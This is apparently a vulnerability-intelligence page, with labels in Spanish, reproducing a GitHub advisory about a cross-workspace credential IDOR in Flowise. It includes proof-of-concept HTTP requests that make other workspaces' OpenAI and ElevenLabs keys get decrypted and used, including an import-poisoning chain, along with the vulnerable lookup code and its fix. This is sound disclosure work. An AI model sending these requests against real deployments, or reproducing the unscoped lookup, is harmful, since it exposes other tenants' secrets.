llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · flowise

GHSA-27W2-26M5-X82C

Cross-Workspace Credential IDOR

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
7.6
Alta
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición70 dDesde la divulgación, 10 sept 2026, 9:18 a. m.
Detección69 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
18 nov 26
20 nov 26
10 sept 26
28 sept 26
15 oct 26
2 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-27W2-26M5-X82C divulgada · CVSS 7.6 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Four new findings sharing the same root cause as the original vector-store IDOR: `findOneBy({ id: credentialId })` with no `workspaceId` filter. An authenticated user can supply a foreign credential UUID to decrypt and use another workspace's OpenAI or ElevenLabs API key.

| # | Service / function | Endpoint | RBAC required |
|---|---|---|---|
| 1 | `getAllOpenaiAssistants`, `getSingleOpenaiAssistant` | `GET /api/v1/openai-assistants`, `GET /api/v1/openai-assistants/:id` | `assistants:view` |
| 2 | `uploadFilesToAssistant` | `POST /api/v1/openai-assistants-file/upload/` | auth only |
| 3 | `deleteAssistant` (L185, chained) | `DELETE /api/v1/assistants/:id` | `workspace:import` + `assistants:delete` |
| 4 | `getVoices` | `GET /api/v1/text-to-speech/voices` | auth only |

---

Root Cause

Same pattern repeated across four locations:

// openai-assistants/index.ts: L18, L46, L87
// assistants/index.ts: L185
// packages/components/src/utils.ts: L668 (shared helper — used by TTS getVoices)
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId   // no workspaceId filter
})

Safe pattern (used correctly in `createAssistant` L57, `updateAssistant` L332, credentials service L130):

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId
})

---

Proof of Concept

All verified live against `flowiseai/flowise:3.1.2` (Docker).
Error differential used throughout: nonexistent UUID → `"Credential not found"` / `"Please pass in your API Key"`; real foreign UUID → downstream provider error (`"401 Unauthorized – check your API key"` or `"invalid_api_key"`), proving cross-workspace credential was fetched, decrypted, and used.

---

Finding 1 — openai-assistants service

Verified 2026-04-17.

GET /api/v1/openai-assistants?credential=<workspace-b-uuid>
Cookie: token=<workspace-a-jwt>

→ 500 {"message": "401 Unauthorized – check your API key..."}    ← cross-workspace
→ 500 {"message": "Error: openaiAssistantsService.getAllOpenaiAssistants - Credential <uuid> not found in the database!"}  ← control

---

Finding 2 — openai-assistants-file upload

Verified 2026-04-21 using Codex.

POST /api/v1/openai-assistants-file/upload/?credential=<workspace-b-uuid>
Authorization: Bearer <workspace-a-api-key>

→ 500 {"message": "401 Unauthorized – check your API key..."}    ← cross-workspace
→ 404 {"message": "Credential 00000000-... not found in the database!"}  ← control

---

Finding 3 — deleteAssistant (chained via workspace import)

Verified 2026-04-21 using Codex.

`deleteAssistant` is asymmetric: `createAssistant` (L57) and `updateAssistant` (L332) correctly include `workspaceId`; `deleteAssistant` (L185) does not. Exploitation requires importing an assistant row whose `credential` field references a foreign workspace UUID via `POST /api/v1/export-import/import` (`workspace:import` permission).

# Step 1 — poison an assistant row in Workspace A pointing to Workspace B's credential
POST /api/v1/export-import/import
Authorization: Bearer <workspace-a-api-key>
{"AssistantOpenAI":[{"id":"...","credential":"<workspace-b-uuid>","type":"OPENAI",...}]}
→ 200 {"message":"success"}

# Step 2 — delete triggers cross-workspace credential lookup
DELETE /api/v1/assistants/<poisoned-id>?isDeleteBoth=true
Authorization: Bearer <workspace-a-api-key>

→ 500 {"message": "401 Unauthorized – check your API key..."}    ← cross-workspace
→ 500 {"message": "Error: assistantsService.deleteAssistant - Error deleting assistant - Credential <uuid> not found"}  ← control

---

Finding 4 — TTS getVoices

Verified 2026-04-21 using Codex.

No per-route RBAC — any authenticated user can reach this endpoint. OpenAI returns a static voice list regardless of credential validity; ElevenLabs makes a live API call and is used for the differential.

GET /api/v1/text-to-speech/voices?provider=elevenlabs&credentialId=<workspace-b-uuid>
Authorization: Bearer <workspace-a-api-key>

→ 500 {"message": "...invalid_api_key..."}                       ← cross-workspace
→ 500 {"message": "Please pass in your ElevenLabs API Key"}      ← control

---

Impact
  • Findings 1, 2, 4 — any authenticated user (with relevant RBAC for F1) can trigger decryption and use of any workspace's OpenAI or ElevenLabs credential by supplying its UUID
  • Finding 3 — attacker with `workspace:import` + `assistants:delete` can trigger cross-workspace credential decryption and OpenAI API use via a poisoned assistant row

---

Fix

Add `workspaceId` filter to every credential lookup, sourcing from `req.user.activeWorkspaceId`:

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId
})

Files:
- `packages/server/src/services/openai-assistants/index.ts` (L18, L46, L87)
- `packages/server/src/services/assistants/index.ts:185`
- `packages/components/src/utils.ts:668`

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:N
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise · flowise-components≤ 3.1.4
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Sin parche — — 3.1.4 afectada
npmflowise-components
Sin parche — — 3.1.4 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-27w2-26m5-x82c

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.